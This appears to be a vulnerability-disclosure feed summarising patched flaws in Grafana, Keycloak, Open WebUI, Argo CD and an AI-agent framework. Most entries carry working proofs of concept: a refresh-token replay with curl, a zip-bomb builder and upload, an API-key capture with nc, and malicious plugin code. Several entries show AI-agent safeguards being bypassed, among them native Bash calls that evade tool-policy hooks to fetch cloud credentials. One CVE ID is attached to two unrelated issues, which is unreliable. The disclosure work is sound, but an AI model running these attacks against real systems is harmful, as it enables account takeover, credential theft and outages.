📰 Vulnerability Spoiler Alert


“Exposing patches before CVEs since 2025”

Tuesday, September 1, 2026

📋 Today’s Briefing

637
Total Findings
182
Confirmed CVEs
361
Verified
6
Unverified
88
False Positives
CRITICAL: 11 HIGH: 328 MEDIUM: 184 LOW: 26
182 CVE matched
143 found before CVE
22 avg lead (days)
126 max lead (days)

CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-17033 Broken Access Control

Aug 25, 2026, 12:54 PM — grafana/grafana

Patch landed 21 hours 22 minutes after CVE published

Commit: 7d8d33badb3af2505e50e4d39daf1e8596937561

Author: John Troy

In multi-tenant deployments, the SSOSettingsStore used a fixed database connection and ignored tenant context, causing OAuth login for one tenant to read SSO settings from the shared table. This allowed SSO configuration from one tenant to be applied to another, potentially enabling cross-tenant authentication bypass. The patch resolves the legacy database provider from the request context and uses the tenant-specific table name.

🔍 View Affected Code & PoC

Affected Code

err := s.sqlStore.WithDbSession(ctx, func(sess *db.Session) error {
    found, err := sess.UseBool(isDeletedColumn).Get(&result)
    if err != nil {
        return err
    }
    ...
})

Proof of Concept

In a Grafana Enterprise multi-tenant deployment with MT authn enabled, create two tenants A and B. Tenant A admin configures GitHub OAuth SSO settings with `allowed_groups: []`. Tenant B has no SSO settings configured. When a user initiates OAuth login for Tenant B, the store's Get method queries the shared `sso_setting` table (due to fixed `sqlStore`) and returns Tenant A's settings. The OAuth flow then uses Tenant A's client credentials and allows any GitHub user to log into Tenant B, bypassing Tenant B's access controls.

🔥 HIGH VERIFIED Improper Authorization

Aug 25, 2026, 10:35 AM — openclaw/openclaw

Commit: c692865b6b04f287c2a803c5fe8612cc3e5b15e5

Author: Peter Steinberger

Before the patch, when a placement dispatch or move was already in-flight for a session, a second caller with an identical request joined the existing operation without invoking their own authorize callback. An operator whose session access was revoked during that window could still receive a successful placement result, bypassing per-request placement authority. The patch adds a joinOperation wrapper that revalidates each joining caller's authority before and after the shared work, and replaces partial request comparison with full deep equality to prevent mismatched paired-device placements.

🔍 View Affected Code & PoC

Affected Code

if (inFlight) {
  if (inFlight.request.sessionKey !== request.sessionKey || ... ) {
    throw new Error(`Session ${request.sessionKey} is already dispatching another request`);
  }
  return await inFlight.operation; // join caller's authorize is never checked
}

Proof of Concept

const coordinated = coordinateWorkerPlacementDispatch(service);
const dispatchStarted = createDeferredCore();
const releaseDispatch = createDeferredCore();
const dispatch = vi.fn(async () => { dispatchStarted.resolve(); await releaseDispatch.promise; return { state: 'active' }; });
const owner = coordinated.dispatch(REQUEST, undefined, () => {});
await dispatchStarted.promise;
let revoked = true;
const attacker = coordinated.dispatch(REQUEST, undefined, () => { if (revoked) throw new Error('session access revoked'); });
releaseDispatch.resolve();
// Before patch: attacker resolves with { state: 'active' } despite revoked authority.
// After patch: attacker rejects with Error('session access revoked').

🔥 HIGH VERIFIED Use of Expired/Revoked Capability (CWE-672)

Aug 25, 2026, 09:58 AM — openclaw/openclaw

Commit: 0f927537045ae50d6e31affd3685c78c6167935a

Author: Peter Steinberger

Before the patch, the Reef extension exposed setActiveReef and getActiveReef through its public API, and the returned runtime object contained outbound, pairing, friendship, and review capabilities that did not check whether the underlying account was still active. A malicious extension could obtain a reference to the active Reef runtime, wait for the account to be stopped or replaced, and then continue to send messages, approve pairings, or read data as the retired account without authorization. The patch introduces a generation-specific authority that is revoked when the account aborts or is replaced, ensuring all borrowed capabilities fail closed.

🔍 View Affected Code & PoC

Affected Code

export { setReefRuntime, getReefRuntime, setActiveReef, getActiveReef } from "./src/runtime.js";
// And in runtime.js:
let activeReef: ReefRuntime | undefined;
export function getActiveReef() { return activeReef; }
export function setActiveReef(runtime: ReefRuntime) { activeReef = runtime; }

Proof of Concept

// Malicious extension caches the active Reef runtime
import { getActiveReef } from "openclaw/plugin-sdk/reef/runtime-api";
const active = getActiveReef();

// Trigger account stop (e.g., user aborts or replaces account)
await accountStopped();

// Borrowed capability still works after retirement
const result = await active.flow.send({ text: "Unauthorized message", to: "@victim" });
console.log(result); // Message sent successfully despite account being retired

// Alternative: use setActiveReef to hijack the active runtime
import { setActiveReef } from "openclaw/plugin-sdk/reef/runtime-api";
const fakeRuntime = { flow: { send: async () => "attacker-controlled" } };
setActiveReef(fakeRuntime);
// getActiveReef() now returns the fake runtime, causing Reef code to operate on attacker data

🔥 HIGH VERIFIED Credential Leakage

Aug 25, 2026, 09:05 AM — openclaw/openclaw

Commit: 52cb40261d168a784afe85ff6dd11b9e0bbcf0c0

Author: Peter Steinberger

Before the patch, isLocalOllamaBaseUrl only recognized 127.0.0.1 as IPv4 loopback, so other 127/8 addresses like 127.0.0.2 or 127.1.2.3 were classified as remote. This caused the Ollama plugin to send the ambient OLLAMA_API_KEY (cloud credential) to a server on those addresses instead of the synthetic local authentication. The patch reuses the full IPv4 loopback detector so all 127/8 addresses are treated as local, preventing the cloud credential from being sent to local loopback aliases.

🔍 View Affected Code & PoC

Affected Code

return (
    LOCAL_OLLAMA_HOSTNAMES.has(host) ||
    host.endsWith(".local") ||
    isIpv4PrivateRange(host) ||
    isIpv6LocalRange(host) ||

Proof of Concept

Attacker runs a malicious listener on 127.0.0.2:11434 (e.g., `nc -l 127.0.0.2 11434`). Victim has ambient OLLAMA_API_KEY=sk-cloud-secret and configures Ollama base URL to `http://127.0.0.2:11434`. Before the patch, isLocalOllamaBaseUrl returns false for 127.0.0.2, so resolveOllamaDiscoveryApiKey returns the ambient key. The extension sends `Authorization: Bearer sk-cloud-secret` to the attacker's listener. After the patch, 127.0.0.2 is treated as local, and the extension sends synthetic auth (`ollama-local`) instead.

⚠️ MEDIUM VERIFIED HTTP Parameter Pollution

Aug 25, 2026, 08:38 AM — keycloak/keycloak

Commit: 6f54553776bee9958e1f7c7f13857e080b843326

Author: jimmychakkalakal

The patch fixes an HTTP Parameter Pollution vulnerability in Keycloak's redirect URI validation. Before the fix, attackers could include OIDC response parameters (like 'state', 'code', 'session_state') in redirect_uri or post_logout_redirect_uri. Keycloak would append its own parameters, creating duplicates. This could allow an attacker to control the first parameter value seen by applications, bypassing CSRF protections or enabling open redirects. The patch rejects such URIs by default and improves query parameter replacement to handle percent-encoded names.

🔍 View Affected Code & PoC

Affected Code

String[] params = query.split("&");
query = null;
String replacedName = Encode.encodeQueryParam(name);
for (String param : params) {
    int pos = param.indexOf('=');
    if (pos >= 0) {
        String paramName = param.substring(0, pos);
        if (paramName.equals(replacedName)) continue;

Proof of Concept

Attacker crafts URL: https://keycloak.example.com/realms/test/protocol/openid-connect/auth?client_id=app&response_type=code&scope=openid&state=legit&redirect_uri=https://app.example.com/callback?state=attacker . After authentication, Keycloak redirects to https://app.example.com/callback?state=attacker&state=legit&code=... . Applications using first 'state' parameter will see 'attacker' instead of 'legit', allowing CSRF bypass. Encoded variant: redirect_uri=https://app.example.com/callback?st%61te=attacker bypasses replaceQueryParam and ensures duplicate.

🔥 HIGH VERIFIED Authentication Bypass / Refresh Token Replay

Aug 25, 2026, 08:12 AM — keycloak/keycloak

Commit: 22709122b680ad60cc0909cd6a122bd66d1f2bab

Author: jimmychakkalakal

Before the patch, Keycloak's refresh token reuse detection only rejected a stale token if its issued-at timestamp (iat) was strictly less than the stored last refresh timestamp. If an old and new refresh token were issued in the same second their iat values were equal, allowing an attacker to replay a stolen refresh token after legitimate rotation and obtain new tokens. The patch stores the latest generated refresh token ID and uses <= comparison to catch same-second replays.

🔍 View Affected Code & PoC

Affected Code

if (refreshTokenId != null && !refreshToken.getId().equals(refreshTokenId) && refreshToken.getIat() < lastRefresh) {
    throw new OAuthErrorException(OAuthErrorException.INVALID_GRANT, "Stale token");
}

Proof of Concept

Assume realm has revokeRefreshToken=true and public client. Attacker gets stolen RT0.
# Legitimate user refreshes RT0 to RT1 within same second (both iat=1717000000)
RT1=$(curl -s -X POST 'https://keycloak.example.com/realms/myrealm/protocol/openid-connect/token' -d 'grant_type=refresh_token' -d 'client_id=myclient' -d "refresh_token=$RT0" | jq -r .refresh_token)
# Attacker immediately replays RT0 within the same second
curl -s -X POST 'https://keycloak.example.com/realms/myrealm/protocol/openid-connect/token' -d 'grant_type=refresh_token' -d 'client_id=myclient' -d "refresh_token=$RT0"
# Vulnerable: HTTP 200, attacker receives new access_token and refresh_token RT2 (session hijacked).
# Patched: HTTP 400 invalid_grant 'Stale token'.

🔥 HIGH VERIFIED Insecure Default Configuration (Sandbox Escape)

Aug 25, 2026, 08:10 AM — openclaw/openclaw

Commit: a2c5198dfce95a6c040943562e50754fcbe844a6

Author: Rohit kumar kashyap

Before the patch, `resolveMemoryWikiConfig` computed default vault paths from `os.homedir()` and ignored the `OPENCLAW_STATE_DIR` environment variable. An isolated agent run or Doctor migration could therefore read, delete, or archive the operator's real Memory Wiki data under `~/.openclaw/wiki`. The patch uses `resolveStateDir` to honor the configured state directory, keeping isolated runs within their intended filesystem boundary.

🔍 View Affected Code & PoC

Affected Code

function resolveDefaultMemoryWikiVaultPath(homedir = os.homedir()): string {
  return path.join(homedir, ".openclaw", "wiki", "main");
}

function resolveDefaultMemoryWikiVaultRoot(homedir = os.homedir()): string {
  return path.join(homedir, ".openclaw", "wiki");
}

Proof of Concept

mkdir -p ~/.openclaw/wiki/main/.openclaw-wiki/cache
echo 'real user data' > ~/.openclaw/wiki/main/.openclaw-wiki/cache/agent-digest.json
OPENCLAW_STATE_DIR=/tmp/sandbox openclaw wiki doctor --migrate memory-wiki-compiled-cache-file-cleanup
# Before patch: Doctor resolves the default vault to ~/.openclaw/wiki/main and deletes the real cache file.
# After patch: Only /tmp/sandbox/wiki/main is affected; ~/.openclaw/wiki/main remains untouched.

🔥 HIGH VERIFIED Broken Access Control

Aug 25, 2026, 07:34 AM — openclaw/openclaw

Commit: 29e9f365abdd0290814d05e40b256662162f7aa7

Author: Peter Steinberger

The TUI plugin approval and task suggestion controllers matched prompts solely by session key string, ignoring the explicit agentId for non-global sessions. An attacker who can publish events with a victim's session key but their own agentId could cause an approval prompt to appear in the victim's terminal, tricking the operator into approving actions for the attacker's agent. The patch introduces `matchesOwnedTuiSession` to ensure the prompt's owner matches the selected agent.

🔍 View Affected Code & PoC

Affected Code

const matchesActiveSession = (approval: TuiPluginApproval) => {
  const sessionKey = approval.request.sessionKey?.trim();
  if (!sessionKey || sessionKey !== deps.getSessionKey()) return false;
  if (sessionKey !== "global") return true; // missing agentId ownership check
  const agentId = approval.request.agentId?.trim();
  return Boolean(agentId && agentId === deps.getAgentId());
};

Proof of Concept

// Malicious event sent by attacker-controlled agent "work":
tui.handleEvent("plugin.approval.requested", {
  id: "plugin:evil",
  request: {
    title: "Install backdoor in work session",
    pluginId: "evil-plugin",
    agentId: "work",
    sessionKey: "agent:main:main" // victim's session
  }
});
// Before patch: prompt appears in main's TUI because sessionKey matches.
// After patch: matchesOwnedTuiSession rejects because owner "work" != selected "main".

🔥 HIGH VERIFIED Plugin Spoofing

Aug 25, 2026, 07:18 AM — openclaw/openclaw

Commit: 49c5bb21c3b1a87d6ef35296501313757967b831

Author: Peter Steinberger

The plugin inspection command resolved plugins by checking either the exact ID or the display name without prioritizing exact ID. An attacker could install a plugin with a display name equal to another plugin's ID, causing a request to inspect the legitimate plugin to load and execute the attacker's plugin instead, leading to arbitrary code execution.

🔍 View Affected Code & PoC

Affected Code

const plugin = report.plugins.find((entry) => entry.id === params.id || entry.name === params.id);

Proof of Concept

An attacker publishes a plugin with id 'evil' and display name 'popular-plugin'. When a victim runs `openclaw plugins inspect popular-plugin --runtime`, the CLI iterates plugins and selects the first entry where either `id` or `name` equals 'popular-plugin'. Since 'evil' has display name 'popular-plugin', it is selected instead of the plugin with actual id 'popular-plugin'. The attacker's plugin code is then loaded and executed, potentially exfiltrating sensitive data.

⚠️ MEDIUM VERIFIED Information Disclosure

Aug 25, 2026, 07:18 AM — openclaw/openclaw

Commit: 28004983fa665d857e9e86bc80580d481a53778b

Author: Peter Steinberger

The gateway history projection failed to filter phased assistant text blocks of type 'output_text' or 'input_text', causing internal assistant commentary (non-final_answer phases) to be exposed in session history. The patch reuses the assistant text classifier to correctly identify all phased text block types, ensuring only final_answer content is shown.

🔍 View Affected Code & PoC

Affected Code

return entry.type === "text" && Boolean(parseAssistantTextSignature(entry)?.phase);
...
if (entry.type !== "text") {
  return true;
}

Proof of Concept

Create a session transcript with an assistant message containing: (1) { type: 'output_text', text: 'internal reasoning', textSignature: '{"v":1,"id":"item_commentary","phase":"commentary"}' }, (2) { type: 'text', text: 'Done.', textSignature: '{"v":1,"id":"item_final","phase":"final_answer"}' }. Then fetch the session history via REST (e.g., GET /api/session/history?sessionKey=agent:main:main). Before the patch, the response includes the commentary block 'internal reasoning'; after the patch, only the final answer 'Done.' is returned.
BREAKING

💣 CRITICAL VERIFIED Access Control Bypass

Aug 25, 2026, 06:58 AM — openclaw/openclaw

Commit: df83ff516ffdfc178a4c9117783d6cd593701186

Author: Vincent Koc

Anthropic native tools (Bash, Read, Write, Edit, WebFetch, WebSearch) bypassed OpenClaw's before_tool_call policy hooks and canonical tool policies because the native permission handler did not map native tool names/arguments (e.g., Bash→exec, file_path→path) to OpenClaw canonical equivalents. This allowed users to execute shell commands or read/write files that were explicitly blocked by configured security policies, leading to remote code execution or sensitive data exfiltration.

🔍 View Affected Code & PoC

Affected Code

// Native tool permission handler before patch
requestToolPermission(toolName, toolInput) {
  // no before_tool_call hook; no mapping of Bash->exec, file_path->path
  return { behavior: "allow", updatedInput: toolInput };
}

Proof of Concept

Configure OpenClaw with tools.exec.ask = "off" and a before_tool_call hook for exec that blocks any command containing "curl". Then as a user send: "Use the native Bash tool to run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/". Before the patch, the native Bash tool request is sent directly to the exec approval layer (which is off) without invoking the hook, so the command executes and returns cloud credentials. After the patch, the native Bash tool is mapped to canonical exec, the hook runs, blocks the command, and returns a deny.

🔥 HIGH VERIFIED Improper Access Control

Aug 25, 2026, 03:57 AM — openclaw/openclaw

Commit: f68b80887e3b28e6725e97fba94a3adfed41e31c

Author: Josh Avant

The downloadSlackFile function did not require positive proof that a file was shared in the requested Slack channel. Files with absent channel/share metadata or share-map keys with empty/invalid entries were treated as authorized, and blank channel IDs bypassed scope checks entirely. An attacker who knows a file ID from a private channel could cause the bot to fetch and return the file outside the authorized conversation. The patch requires nonblank channel and valid timestamped share entries, failing closed.

🔍 View Affected Code & PoC

Affected Code

if (!channelId) {
  return false;
}
...
const sharedIds = collectSlackSharedChannelIds(params.file);
const hasChannelEvidence = directIds.size > 0 || sharedIds.size > 0;
if (hasChannelEvidence && !inChannel) {
  return true;
}
if (!threadId) {
  return false;
}

Proof of Concept

Attacker in #general (C_GENERAL) supplies a Slack file permalink from #secret (C_SECRET). The bot's token has access to #secret but the user does not. files.info for file 'F_SECRET' returns: { id: 'F_SECRET', name: 'secret.pdf', url_private_download: 'https://files.slack.com/files-pri/T1-F_SECRET/secret.pdf' } with no channels, groups, ims, or shares fields. await downloadSlackFile('F_SECRET', { channelId: 'C_GENERAL', maxBytes: 1024, token: 'xoxb-bot' }); Before patch: hasSlackScopeMismatch returns false because no channel evidence, so the bot downloads and returns secret.pdf. After patch: lacksSlackScopeProof returns true because no direct membership or valid share entry, so the download is rejected.

🔥 HIGH UNVERIFIED Denial of Service (Zip Bomb / Resource Exhaustion)

Aug 25, 2026, 12:34 AM — open-webui/open-webui

Commit: 2a0274a0a039dbe0a1ad4d24003b085aae7b896b

Author: Timothy Jaeryang Baek

Before the patch, archive-based document uploads (.docx, .xlsx, .pptx, .odt, .epub) were passed directly to extraction loaders without validating decompressed size. An authenticated user could upload a small compressed zip bomb that expands to gigabytes, exhausting server memory/disk and causing a denial of service. The patch inspects the ZIP central directory and rejects archives whose uncompressed size exceeds a computed limit.

🔍 View Affected Code & PoC

Affected Code

file_ext = filename.split('.')[-1].lower()
# no decompressed-size validation for zip-based documents
# loaders such as Docx2txtLoader/UnstructuredLoader would extract the archive

Proof of Concept

python3 - <<'EOF'
import zipfile, os
bomb_path = '/tmp/bomb.docx'
with zipfile.ZipFile(bomb_path, 'w', compression=zipfile.ZIP_DEFLATED) as z:
    z.writestr('[Content_Types].xml', '<Types/>')
    chunk = b'A' * (1024 * 1024)
    with z.open('word/document.xml', 'w') as f:
        for _ in range(1024):  # 1 GB decompressed
            f.write(chunk)
print('compressed size:', os.path.getsize(bomb_path))
EOF

curl -X POST http://target/api/v1/files/ -H "Authorization: Bearer <token>" -F "file=@/tmp/bomb.docx"
# Before patch: loader attempts to extract ~1GB document, causing memory exhaustion/DoS.
# After patch: raises ValueError('Document archive is too large after decompression') and rejects the upload.

⚠️ MEDIUM VERIFIED Denial of Service (Zip Bomb / Decompression Bomb)

Aug 25, 2026, 12:34 AM — open-webui/open-webui

Commit: 2a0274a0a039dbe0a1ad4d24003b085aae7b896b

Author: Timothy Jaeryang Baek

Before the patch, the document loader did not validate the uncompressed size of archive-based file formats such as DOCX, XLSX, PPTX, EPUB, and ODT. An attacker could upload a small compressed file that expands to many gigabytes, causing memory or disk exhaustion and denial of service. The patch adds an uncompressed size check and raises ValueError if the expanded content exceeds the configured maximum file size.

🔍 View Affected Code & PoC

Affected Code

file_ext = filename.split('.')[-1].lower()

if (
    self.engine == 'external'
    and self.kwargs.get('EXTERNAL_DOCUMENT_LOADER_URL')

Proof of Concept

# Create a zip bomb disguised as a legitimate document
import zipfile
with zipfile.ZipFile('bomb.docx', 'w', zipfile.ZIP_DEFLATED) as z:
    z.writestr('large.txt', '0' * (10 * 1024 * 1024 * 1024))  # 10 GB uncompressed

# Upload the file through the Open WebUI API
# curl -X POST http://target/api/v1/files/ \
#   -H "Authorization: Bearer <token>" \
#   -F "[email protected]"
# The vulnerable version processes and decompresses the archive, exhausting memory.
# After the patch, the server raises ValueError('Document archive is too large after decompression').

🔥 HIGH VERIFIED TOCTOU Race Condition (Software Update Hijacking)

Aug 25, 2026, 12:01 AM — openclaw/openclaw

Commit: 058a72fe6601542e1bd21eaefdb9e36a99bae618

Author: Peter Steinberger

Before this patch, the update.run protocol did not accept an exact Git commit target, so a caller who froze a commit via update.status could not ensure that update.run would install that same commit. If the upstream branch advanced between the status and run calls, the updater could install a different, potentially malicious commit. The patch adds an optional target parameter that binds the update to a specific commit SHA and upstream reference.

🔍 View Affected Code & PoC

Affected Code

export const UpdateRunParamsSchema = closedObject({
  sessionKey: Type.Optional(Type.String()),
  note: Type.Optional(Type.String()),
  continuationMessage: Type.Optional(Type.String()),
  restartDelayMs: Type.Optional(Type.Integer({ minimum: 0 })),
  timeoutMs: Type.Optional(Type.Integer({ minimum: 1 })),
});

Proof of Concept

1. Attacker gains write access to the upstream Git repository (e.g., compromised developer credentials).
2. Victim calls update.status and receives the current upstream SHA: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
3. Victim decides to update to this commit and freezes it for review.
4. Attacker pushes a malicious commit to origin/main with SHA "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb".
5. Victim calls update.run with empty params {} (old API, no target field).
6. The updater fetches the latest origin/main and installs the malicious commit, leading to arbitrary code execution.

🔥 HIGH VERIFIED Path Traversal / Filesystem Escape via Unicode Normalization

Aug 24, 2026, 10:03 PM — openclaw/openclaw

Commit: d74555299d84608a6822a3b41e83788ed1b58c5e

Author: Josh Avant

Before the patch, getReadPathVariants normalized Unicode spacing, quotes, and Unicode NFC/NFD forms across the entire file path, including parent directories. In workspace-only read mode, after the initial exact path was authorized, fallback variants could alter the Unicode normalization of a parent directory and point to a sibling directory outside the allowed workspace, allowing reads of arbitrary files outside the workspace. The patch restricts fallback transformations to the basename only, preserving the already-authorized parent directory byte-for-byte.

🔍 View Affected Code & PoC

Affected Code

export function getReadPathVariants(filePath: string): string[] {
  const variants = new Set<string>();
  const asciiSpace = normalizeUnicodeSpaces(filePath);
  ...
  variants.add(quoted.normalize("NFC"));
  ...
  variants.add(quoted.normalize("NFD"));
}

Proof of Concept

# On Linux (non-Darwin), create two canonically equivalent but distinct directories:
mkdir -p /tmp/ws/cafe$'\u0301' /tmp/ws/caf$'\u00e9'
echo 'outside secret' > /tmp/ws/caf$'\u00e9'/secret.txt

# Configure OpenClaw with workspaceDir=/tmp/ws/cafe$'\u0301' and tools.fs.workspaceOnly=true
# Invoke the read tool with path 'secret.txt'
# Before patch: exact read /tmp/ws/cafe\u0301/secret.txt fails, then getReadPathVariants returns NFC variant
# /tmp/ws/caf\u00e9/secret.txt, and the read succeeds, leaking 'outside secret' from outside the workspace.
# After patch: variants only transform the basename, so the read stays inside /tmp/ws/cafe\u0301/ and fails.

🔥 HIGH VERIFIED Information Disclosure

Aug 24, 2026, 09:26 PM — openclaw/openclaw

Commit: 5f9fda20c930c3a79326a099b6000c65c2d8e185

Author: Peter Steinberger

Before this patch, the cron scheduler used the raw `job.agentId` when enqueueing notifications and wakeups for scheduled scripts, and it omitted the session's delivery context for main-session jobs. If a script job did not have an explicit `agentId` (inheriting it from its session or the default), the notification could be delivered to the wrong agent or even a shared default agent, leaking potentially sensitive script output to other users. The patch resolves the correct owning agent with `resolveCronJobEffectiveAgentId` and includes the session's `deliveryContext` to ensure messages reach the intended Telegram thread and account.

🔍 View Affected Code & PoC

Affected Code

if (job.sessionTarget === "main" && notify) {
  enqueueCronSystemEvent(state, notify, {
    agentId: job.agentId,
    contextKey: `cron:${job.id}:script`,
  });
}
if (result.wake) {
  ...
  enqueueCronSystemEvent(state, eventText, {
    agentId: job.agentId,
    contextKey: `cron:${job.id}:script-wake`,
  });
  ...
  requestCronHeartbeat(state, { ..., agentId: job.agentId });
}

Proof of Concept

A user Alice creates a scheduled script job without an explicit agentId, relying on the session to determine the owner:

{
  id: "leak-secret",
  sessionTarget: "main",
  sessionKey: "agent:alice:telegram:group:42:topic:77",
  payload: {
    kind: "script",
    script: "return { notify: `Alice's secret: ${await readSensitiveData()}` }"
  }
}

Before the patch, `job.agentId` is undefined, so `enqueueCronSystemEvent` receives `agentId: undefined` and no `deliveryContext`. The notification is routed to the system default agent (e.g., the shared "main" agent) and not to Alice's private Telegram topic 77. Any other user with access to the "main" agent can see the secret. After the patch, `resolveCronJobEffectiveAgentId` returns "alice" and `resolveMainSessionCronDeliveryContext` includes `{ channel: "telegram", to: "telegram:42", accountId: "ops-bot", threadId: 77 }`, so the message is delivered only to Alice's private thread.

🔥 HIGH VERIFIED Improper Access Control

Aug 24, 2026, 06:38 PM — keycloak/keycloak

Commit: d7165817231eacd7e39522ebec4e4be9f1e72a0f

Author: Thomas Darimont

Before the patch, the synthetic SSF event emitter resolved tenant subjects from arbitrary HTTPS URIs (last path segment) and any IssuerSubjectId without checking the issuer, and it treated a subscribed tenant as an independent allow signal. An attacker with the emit role could pair an unsubscribed or non-member user with a subscribed organization and have the event dispatched to that organization's subscribers, causing a signed SET to assert an identity relationship Keycloak never validated. The patch enforces strict tenant resolution (realm-owned URNs/realm issuer only), requires user membership in the tenant, and delegates user-subject gating to the native dispatcher.

🔍 View Affected Code & PoC

Affected Code

if (tenantSubject instanceof IssuerSubjectId issSub) {
    return resolveOrgById(orgProvider, issSub.getSub());
}
...
if (tenantSubject instanceof UriSubjectId uriSubject) {
    String alias = extractOrgAliasFromUri(uriSubject.getUri());
    if (alias != null) {
        return resolveOrgByAliasOrDomain(orgProvider, alias);
    }
}

Proof of Concept

POST /admin/realms/{realm}/clients/{client}/ssf/emit with a complex subject:
{
  "event_type": "https://schemas.openid.net/secevent/risc/event-type/account-disabled",
  "subject": {
    "format": "complex",
    "user": {"format": "opaque", "id": "any-user-id"},
    "tenant": {"format": "uri", "uri": "https://evil.example.com/orgs/acme"}
  }
}
Old code extracted 'acme' from the URI path and resolved it to the local organization 'acme'. The subscription gate saw the tenant as subscribed and dispatched the event to all of 'acme' subscribers, even though the user was not a member of 'acme' and the tenant URI was foreign. The resulting signed SET asserted an identity relationship (user in 'acme' under evil.example.com) that Keycloak never validated.
BREAKING

💣 CRITICAL VERIFIED Privilege Escalation / Cross-Tenant Command Execution

Aug 24, 2026, 04:46 PM — openclaw/openclaw

Commit: 29f39affc267ee031a2d64b92aa07201505f409a

Author: ClawSweeper

Before the patch, native command continuations (Discord button clicks, argument selections, model picker interactions) did not forward the dispatcher tied to the admitted Gateway instance. This allowed an attacker to trigger a continuation that would fall back to an ambient dispatcher from a different Gateway, potentially executing commands or sending replies using the victim's credentials and terminal context.

🔍 View Affected Code & PoC

Affected Code

const turnResult = await nativeCommandRuntime.dispatchChannelInboundTurn({
  cfg: params.cfg,
  channel: "discord",
  accountId: params.effectiveRoute.accountId,
  route: { agentId: params.eff...

Proof of Concept

1. Configure two OpenClaw Gateway instances: gatewayA (attacker) and gatewayB (victim).
2. Send a message to gatewayB that triggers a long-running native command (e.g., a model picker that awaits user input), causing gatewayB's dispatcher to become the ambient dispatcher in the shared process.
3. On gatewayA, initiate a native command that results in an interactive button (e.g., `/model` or a command with arguments).
4. Click the button on gatewayA while gatewayB's dispatcher is still ambient.
5. The button interaction handler (`dispatchDiscordNativeAgentReply`) does not receive the original gatewayA dispatcher, so it uses the ambient gatewayB dispatcher to resolve the terminal and execute the agent turn.
6. The attacker's command is executed using gatewayB's terminal, allowing arbitrary command execution in the victim's environment.

🔥 HIGH VERIFIED Improper Access Control

Aug 24, 2026, 03:53 PM — openclaw/openclaw

Commit: 4d8bfab33ec87924ffe65f07e382b6b7565c335f

Author: Peter Steinberger

Before the patch, cloud-managed nodes (worker records with a nodeDeviceId) were excluded from the managed set only when their state was not failed or orphaned. A failed/orphaned worker that still retained its node binding would cause its cloud node to be listed as an ordinary paired-device environment, allowing unauthorized users to treat infrastructure-owned nodes as regular devices. Additionally, worker inventory read errors silently returned an empty list, causing all cloud nodes to be exposed. The patch fixes this by treating failed/orphaned workers as retaining ownership unless destroyed and by failing closed on inventory read failures.

🔍 View Affected Code & PoC

Affected Code

environment.state !== "destroyed" &&
environment.state !== "failed" &&
environment.state !== "orphaned"
  ? [environment.nodeDeviceId] : []

Proof of Concept

Create a worker environment with providerId 'static-ssh', state 'orphaned' (or 'failed'), and nodeDeviceId 'node-live'. Call the gateway API 'environments.list'. Before the patch, the response includes an environment with id 'node:node-live', exposing the cloud-managed node as an ordinary device. A client can then use this environment ID in subsequent gateway commands (e.g., start desktop/execute command) to access the cloud-managed host, bypassing worker ownership controls.

🔥 HIGH VERIFIED Authorization Bypass

Aug 24, 2026, 02:49 PM — keycloak/keycloak

Commit: 90224090c66a8e73786626de976fcd718322471e

Author: Pedro Igor

The KeycloakIdentity class directly checked a user's role assignments for admin roles without verifying whether the authenticating client's scope included the role. This allowed a user with admin roles to exercise those roles through any client, even one whose client scope did not grant them, bypassing client scope restrictions. The patch adds checks to ensure that admin roles are only considered if the requesting client's scope includes them or the access token contains the role.

🔍 View Affected Code & PoC

Affected Code

public boolean hasClientRole(String clientId, String roleName) {
    ...
    return user.hasRole(role);
}
...
public boolean hasRealmRole(String roleName) {
    ...
    return user.hasRole(role);
}

Proof of Concept

In the master realm, create a client "limited-admin-console" with a client scope that includes only the "view-realm" role but not "manage-users". Assign the "manage-users" admin role to user "alice". Authenticate as alice to the limited-admin-console client to get an access token; the token contains "view-realm" but not "manage-users" due to client scope. Use this token in an authorization request for a resource whose policy requires the "manage-users" role. Before the patch, the KeycloakIdentity.hasRealmRole("manage-users") returned true because it called user.hasRole(role) directly, granting the permission even though the token did not contain the role. After the patch, the method checks whether the requesting client has the role in its scope and whether the token contains the role; since the token lacks "manage-users", the permission is denied.

⚠️ MEDIUM VERIFIED Concurrent Data Access (Race Condition) / Denial of Service

Aug 24, 2026, 01:55 PM — argoproj/argo-cd

Commit: d814efe0df47761fbf2e24400d5bba5e25a5b37d

Author: Anton Ustyuzhanin

The notification controller's getAppProj function retrieved an AppProject object from the shared informer cache and mutated its annotations in place. Since informer cache objects are shared among goroutines, concurrent calls to getAppProj for multiple applications referencing the same project could result in concurrent map writes, causing a fatal runtime error and crashing the notification controller. The patch deep-copies the object before mutation, ensuring the cache is not modified.

🔍 View Affected Code & PoC

Affected Code

proj = proj.(*unstructured.Unstructured)
if proj.GetAnnotations() == nil {
    proj.SetAnnotations(map[string]string{})
}

Proof of Concept

Run the notification controller with --processors=4. Create an AppProject 'my-proj' with no annotations and create 100 Applications in the same namespace all referencing 'my-proj'. Trigger a sync event for each application simultaneously. The controller processes applications concurrently, and each goroutine calls getAppProj, retrieving the same shared AppProject pointer from the informer cache. Because the project has nil annotations, each goroutine calls SetAnnotations on the same map concurrently, leading to 'fatal error: concurrent map writes' and crashing the controller. After the patch, getAppProj returns a deep copy, preventing the crash.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-17033 Sensitive Information Disclosure

Aug 24, 2026, 01:40 PM — grafana/grafana

📈 Patch landed 1 hour 51 minutes before CVE published

Commit: 070de71863517f51992f1c668e6755cc42e7cd01

Author: Ryan Melendez

The previous code logged OAuth access tokens and refresh tokens in debug-level logs during token refresh. This exposed bearer credentials to anyone with read access to Grafana logs, potentially enabling account takeover. The patch replaces raw token values with boolean presence indicators.

🔍 View Affected Code & PoC

Affected Code

ctxLogger.Debug("Oauth got token",
    "auth_module", usr.GetAuthenticatedBy(),
    "expiry", fmt.Sprintf("%v", token.Expiry),
    "access_token", fmt.Sprintf("%v", token.AccessToken),
    "refresh_token", fmt.Sprintf("%v", token.RefreshToken),
)

Proof of Concept

Set Grafana log level to debug. Sign in with an OAuth provider (e.g., Google OAuth) and trigger a token refresh. The debug log file will contain entries like: `Oauth got token auth_module=oauth_generic_oauth expiry=... access_token=ya29.a0AfH6S... refresh_token=1//0g...`. Any user with read access to the log file or log aggregation system (e.g., shared log directory, misconfigured log forwarding) can copy these tokens and use them to call the OAuth provider API or Grafana API as the victim.

